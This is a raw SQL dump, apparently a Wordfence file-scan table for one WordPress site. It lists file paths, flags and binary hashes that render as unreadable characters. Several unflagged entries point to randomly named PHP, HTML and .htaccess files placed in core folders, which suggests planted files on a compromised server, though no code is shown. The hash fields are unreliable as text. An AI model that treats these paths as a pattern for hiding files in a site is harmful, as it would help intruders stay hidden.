('GI2Bxf!\'','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidArgumentException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidArgumentException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k瑿reUB]','yIpQ)<5Oo-9jWSz[,','',0,'?'),
('G	\n\Z s6\0QB','wp-includes/blocks/details/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m*cavSGbɦ','΁})?un4;[lwڜ=','',0,'?'),
('G9jn_ni\r','wp-includes/css/dist/admin-ui/admin-ui/cache.php','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/admin-ui/cache.php',0,'>>g.C4','>>g.C4','QTU17y&\ZWZ\nVt8\\yz','',0,'?'),
('G$0;)IT?*','wp-includes/class-wp-block-metadata-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-metadata-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r?҅!','NkE7.ѵ$g*h6bw\0','',0,'?'),
('G6U2\01RJ','wp-admin/js/theme.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/theme.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`Rcًt6P#','uU~a&_ :C>xƫ ','',0,'?'),
('G:Z]Y!tI\"','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfBBc-AMP6lQ.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfBBc-AMP6lQ.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jI78{rP','UkZM=OEwDw |I;','',0,'?'),
('G<x\ZU}yg','wp-content/plugins/wordfence/views/scanner/text/issue-configReadable.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-configReadable.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sz\Ztv{',':)Oy5Ǭ].?	.=]','',0,'?'),
('GB;ڞ8','wp-content/plugins/wordfence/modules/login-security/views/passkey/item.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/item.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4Ɨ|ݢ+(','(هTu`pi~gsVռX?fZ','',0,'?'),
('GQ{)?R`)','wp-includes/blocks/post-comments-form/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1{ⱄk_Bv(','k-\n!5<s+LTy3w','',0,'?'),
('Gd,^3ms\rr','wp-includes/js/tinymce/plugins/wptextpattern/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wptextpattern/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('GkJ.¦+ct','wp-includes/js/dist/script-modules/interactivity-router/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Gm:MľVLЉ','wp-includes/js/tinymce/utils/editable_selects.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/utils/editable_selects.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jq2I\'J9E','vGjsf	ed&g+','',0,'?'),
('Guʭ','wp-includes/class-wp-meta-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-meta-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7ŋ:O	9,yR',';Q~RK`+ءVA3op9','',0,'?'),
('Gu5aԯ','wp-includes/rest-api/search/class-wp-rest-post-search-handler.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B	iGON#h','\r4\"f3\Zv8|7pT[֚','',0,'?'),
('Gu^/1ՁS7','wp-includes/atomlib.php','/home/trevorkl/trevorklee.com/wp-includes/atomlib.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!_wm}a','m{TZG/Iu)<\'Ѩ!','',0,'?'),
('G9q=ʥ[3?a','wp-admin/images/bubble_bg-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/bubble_bg-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[bLPor','GJ{B-r$u] ]E.\02%k','',0,'?'),
('G=u\nˮ\0V}','wp-includes/blocks/avatar.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kHe9Ͱ','B`kEkx`29{(*)','',0,'?'),
('G7\ZI&:x','wp-admin/edit-form-comment.php','/home/trevorkl/trevorklee.com/wp-admin/edit-form-comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','){ 6Q89w/',')M_)81䷫@=','',0,'?'),
('GNE{\".oi','wp-includes/sitemaps/egf1kul/ytws1xl/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('G#\\gVKCy','wp-content/themes/twentytwentyfive/patterns/grid-videos.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/grid-videos.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>3﹤n2K','{|н\".jЅ3үL\'#v','',0,'?'),
('G4IsxI','wp-includes/blocks/post-comments-count/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"t)zq','G=UB0\'hǯ>Og&fdآή>-','',0,'?'),
('Gʞz~?\\ɒ\r','wp-content/themes/twentytwentyfive/patterns/hidden-written-by.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-written-by.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}##D+._','O՗>h9BXDL8`^x','',0,'?'),
('GްhvCtb0;5V','wp-includes/html-api/smzgnbc/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('G?yİ~r&','wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V^*<i+ǉk\0','c\n]P;+UKCK7]U\ZdQ','',0,'?'),
('H\0  NHB]I','wp-content/themes/twentytwentyone/template-parts/content/content-none.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-none.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-fCY^','b;.tao^C߯͟2|w[q_(','',0,'?'),
('H_m_m\'pM','wp-includes/blocks/audio/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('H\Z\rI?+; ','wp-includes/SimplePie/src/Caption.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Caption.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ŭjzY_̆','r3ў=`|cyu8햟۝i\n','',0,'?'),
('H+E~}1Q','wp-includes/js/wp-util.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-util.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xkz9GUI','ta.Kʋ$W)%8Kc','',0,'?'),
('H=3P;T~','wp-includes/blocks/separator/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EȪh','אZȽn_6{Nn;FM>un\"','',0,'?'),
('HAf,$F-','wp-admin/css/customize-nav-menus-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-nav-menus-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W̶T©ͅx','Fa6HKOe \0zr>=\r','',0,'?'),
('HGh\'xR~\n','wp-admin/js/customize-nav-menus.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-nav-menus.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!p%01kh','O>5ݺ4Zޚ3Fo&02','',0,'?'),
('HQ^^t:S|A','wp-includes/PHPMailer/DSNConfigurator.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/DSNConfigurator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2D-]x:&s','G3(g>8$	θ퀡ɿ8m','',0,'?'),
('H`\\ rYC','wp-admin/includes/class-theme-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-theme-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!$ڞ\Z\ZGϧ','-F,BQwZ*ip+','',0,'?'),
('Hcv>]|H\'','wp-includes/blocks/site-title/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Sǎp&T^l','`	*3Uev\'t	ukU9r','',0,'?'),
('Hmϡ\n\0M}0\"ؒ','wp-content/themes/twentytwentyone/template-parts/header/excerpt-header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/excerpt-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%LAZ;ߪu',' wMӳY\r%%\'aOA&x','',0,'?'),
('H|\0`B*Q','wp-includes/blocks/post-navigation-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Lʈs6]','}PĂʯ}/2F','',0,'?'),
('H|\'Yf','wp-includes/blocks/post-comments-form/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','쮛9\n.ha=8','b?C=P\nEHgpE','',0,'?'),
('HY6oD{LH','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V~D;[`d','߿\n\"KL\Z6\'5czdw','',0,'?'),
('HýiZU,HL','wp-admin/includes/meta-boxes.php','/home/trevorkl/trevorklee.com/wp-admin/includes/meta-boxes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F5UR','i[OWg/)~TRF&Hh.,	=','',0,'?'),
('HCTp(^l','wp-content/plugins/wordfence/modules/login-security/classes/controller/users.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZY _8Q','>mLf*/K\'','',0,'?'),
('H![?z>','wp-content/plugins/akismet/class.akismet-rest-api.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-rest-api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L(ҝSAgH~','`]+}K78_D@o*','',0,'?'),
('HUa5t=ۘ!','wp-content/themes/twentytwentyfive/styles/sections/section-4.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-4.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	xRœ,VE','ވ|hM̚(i|MAe,áN','',0,'?'),
('Ia@:	`v]','wp-includes/blocks/details/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('I\r8p:́	ޞ}`\Z','wp-includes/blocks/query-pagination/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R8Hɢ^M{','#s(ȲWm\"\ZZO˛Puk\\p','',0,'?'),
('IW9aW3(','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/mysql.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/mysql.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZS>Q:jaG','p D~Tp6^,C~','',0,'?'),
('I%?4M\00t\"ao','wp-includes/images/crystal/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('I0S$2TB*','wp-includes/widgets/class-wp-widget-calendar.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-calendar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pv:2hv','}\Z))$G@U(\rJ@ÃI','',0,'?'),
('I6.:\n(i\0B','wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')Z)*jD','z7cb{9\ZJ0ӣ7}\"ϽR[\n[','',0,'?'),
('I6U\r73p','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/falsepositive.key','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/falsepositive.key',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h<|7b','_^F\";+r&Z~ӦQ|5','',0,'?'),
('I?hFO','wp-content/plugins/wordfence/modules/login-security/js/chart.umd.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/chart.umd.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b?\\ٰYgD\rz','Od :X RU+@9','',0,'?'),
('IO;=P;TN','wp-admin/css/colors/midnight/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('IbHe{<','wp-includes/html-api/gcqoh1b/ecjxzqp/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('IQ	4','wp-includes/js/dist/script-modules/block-library/playlist/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/playlist/view.min.asset.php',0,'08\\P?p}\ZCS~','08\\P?p}\ZCS~','j>?9t*2X~ sWin(','',0,'?'),
('IN)p:<','wp-includes/js/dist/development/react-refresh-runtime.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-runtime.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\M(gɌ#','?l\\^	=nC6}T7','',0,'?'),
('I>7Źg','wp-content/themes/twentytwentyfour/patterns/cta-content-image-on-right.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-content-image-on-right.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')1l!LbR','Pn3}\r\Z肷Ȓog\"','',0,'?'),
('I:Bs#@','wp-blog-header.php','/home/trevorkl/trevorklee.com/wp-blog-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_BZF1y)',';\Z/\\btI͝hw','',0,'?'),
('I&{;-H','wp-includes/blocks/site-logo/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NyC$l','F^@pۤ%CY<!3\r','',0,'?'),
('IԬlv0O','wp-includes/js/dist/core-data.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-data.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nYYN)','	4Xtj68CO4=H?=','',0,'?'),
('IPEXtFH%','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0Lv[c)?','Ch!݀F$}wd7b(!pIF.L','',0,'?'),
('I8߽T\Z0','wp-includes/blocks/list/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wl(>߻Z',' /Zw=uiKwr$VϞ','',0,'?'),
('I>V]TTbW','wp-content/plugins/wordfence/modules/login-security/classes/model/2fainitializationdata.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/2fainitializationdata.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sx.\Zs','bN׮%t>[ITk\0wA','',0,'?'),
('IV/6s','wp-admin/js/editor-expand.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/editor-expand.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N~\"( J0Ko\r','gN{U/j<}o<_','',0,'?'),
('J%.~ql','wp-includes/class-wp-text-diff-renderer-table.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-text-diff-renderer-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&|uEQe',',Ix{R&ב]cjp,RLwN','',0,'?'),
('Jf3?_rC','wp-admin/images/w-logo-white.png','/home/trevorkl/trevorklee.com/wp-admin/images/w-logo-white.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nJvۢ~y\\','nD _;!GםcV0M9i=','',0,'?'),
('JE[7U\Z~','wp-includes/js/plupload/handlers.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/handlers.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aa]/ T','mksD<@}kmX)','',0,'?'),
('J7}NP+/v','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-2.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-2.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T\nc!-:mU','W~	lִ.>n*dI:-;4e-S','',0,'?'),
('Jw6ԑ`e','wp-content/themes/twentytwentythree/patterns/post-meta.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/post-meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/>Z.ц9g\"','$J&;qD>`(	x3[9#','',0,'?'),
('J8EDh+F','wp-admin/js/site-health.js','/home/trevorkl/trevorklee.com/wp-admin/js/site-health.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f\"-1','j*w鼸PCsr\rq3','',0,'?'),
('J<dҠzk}0','wp-includes/SimplePie/library/SimplePie/IRI.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/IRI.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','΂nIz{2}yx\'','NޖZH+0Eb[','',0,'?'),
('Jj\0pmw㚉b(','wp-includes/blocks/code/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z	mEJ','w($썎B.}e-','',0,'?'),
('Jl1','wp-content/plugins/wordfence/models/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\"xK{8dS','C\'r9@Kކtw#@k','',0,'?'),
('JlNFVd	4B','wp-includes/SimplePie/library/SimplePie/XML/Declaration/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/Declaration/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Js++8{&N','wp-content/plugins/loginizer/lib/hybridauth/Storage/Session.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Storage/Session.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','؇\\Y_P׆B','? s1E)^Z`9Z|Gך>','',0,'?'),
('J{ֹZi^ùxI','wp-admin/media-new.php','/home/trevorkl/trevorklee.com/wp-admin/media-new.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8q;Ȋ.G','ܓT\no_]zZ[\0','',0,'?'),
('J.FGZ7cؕ','wp-content/themes/twentytwentytwo/inc/patterns/query-text-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-text-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e.s%\Zs-','\Z\rkIh\Z⯅@+dy','',0,'?'),
('J/kA滯','wp-content/themes/twentytwentyfour/styles/ember.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/ember.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','awD&ɴ+zS','xE3-$zeͯ:9.D','',0,'?'),
('J;<C{߫N','wp-includes/blocks/spacer/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&PG>uY7','s<f7\'7$`~H\r|J@','',0,'?'),
('JƘ$ݲOHAD2','wp-content/plugins/header-footer-code-manager/js/toggle.js','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/js/toggle.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CLY	7','0DF~4-xM!y','',0,'?'),
('JǴԾc','wp-content/themes/twentynineteen/images/pattern_01.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/images/pattern_01.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~[!}R.n/','ttC!.йeayiG8\Z[p','',0,'?'),
('Jլ4\rn','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777620_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777620_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J\\c7yxгl','~qV*\'1]3^m','',0,'?'),
('J򾁬OhsDؾ','wp-includes/js/zxcvbn.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/zxcvbn.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|	#PV	/{M_','vXI9n1e6C\\.p+\"K','',0,'?'),
('J:0K;/','wp-includes/blocks/site-title/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('K,<fƑY','wp-content/themes/twentytwenty/inc/custom-css.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/custom-css.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W̙ML!','s822[)ȀzZj','',0,'?'),
('Kߺb','wp-content/plugins/wordfence/lib/compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>zxC}','Nܓ#dtB!\"M՞==@o','',0,'?'),
('KOb3)','wp-content/themes/twentytwentyfive/assets/images/link-in-bio-image.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/link-in-bio-image.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BӃe uD.',']Ш\"|/R[p3)]Aژ','',0,'?'),
('K0\rܐcn','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Util.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>=Asi5P','M<AW$WXDfs+a xTnX','',0,'?'),
('K>^[PF1h:','wp-includes/blocks/social-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/32+aktY','va&\\B`0qnqd=','',0,'?'),
('KLX\rѴM','wp-includes/SimplePie/src/Misc.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Misc.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a+f?Q;̻켓U',':.yEi!~Hec$_E','',0,'?'),
('KnҋD&sRWU(','wp-admin/css/farbtastic.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/farbtastic.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#^:G(:k\n','47Vf /DW3p','',0,'?'),
('K8?>/u','wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/f35.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/f35.php',0,'\rlDAƢ:','\rlDAƢ:','#,\n6#O5TvS7n\0','',0,'?'),
('KR	wAe','wp-includes/blocks/latest-posts/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pi)F','UK<v*#)#7H>鼛','',0,'?'),
('Kc#2s/(\"','wp-includes/widgets/class-wp-widget-pages.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-pages.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rLZTtϛR','*\"#倮U8c*[j\'','',0,'?'),
('K\r\\Uz\Z:\'','wp-includes/sodium_compat/namespaced/Core/ChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V*F谯<l','®RlUwzankGt3','',0,'?'),
('K]Cl7:D\0','wp-admin/js/widgets/media-audio-widget.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-audio-widget.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P IM;p8vn[S','9jlxBeH:y%}c	TP_','',0,'?'),
('KLx<CHe\Z','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-ENĂۛ(\nn','Ѭ}^EF>ڂB','',0,'?'),
('K7b{ru&MXD','wp-includes/css/dist/block-library/editor-elements-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-elements-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c|$\0{o','$2iQf~\':Sr4:A>','',0,'?'),
('K *;ܼnc','wp-includes/blocks/calendar/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&%k.Yː}','\n\\\nF4\Z\nT]b6Z{w','',0,'?'),
('KW&\0\0K\06G','wp-admin/js/set-post-thumbnail.js','/home/trevorkl/trevorklee.com/wp-admin/js/set-post-thumbnail.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':1N(xlX\'','v9\n{lK~q#>ߦ J`~','',0,'?'),
('KK+2	aeZe','wp-includes/class-walker-comment.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-3eⵇb4V','b4K,}ţ<m i ӥu1G','',0,'?'),
('Lj!GNa4','wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Util.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NZUNݨ+~','Z^{&/~f\ZiI$aO','',0,'?'),
('LIFlv6~','wp-includes/css/dist/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
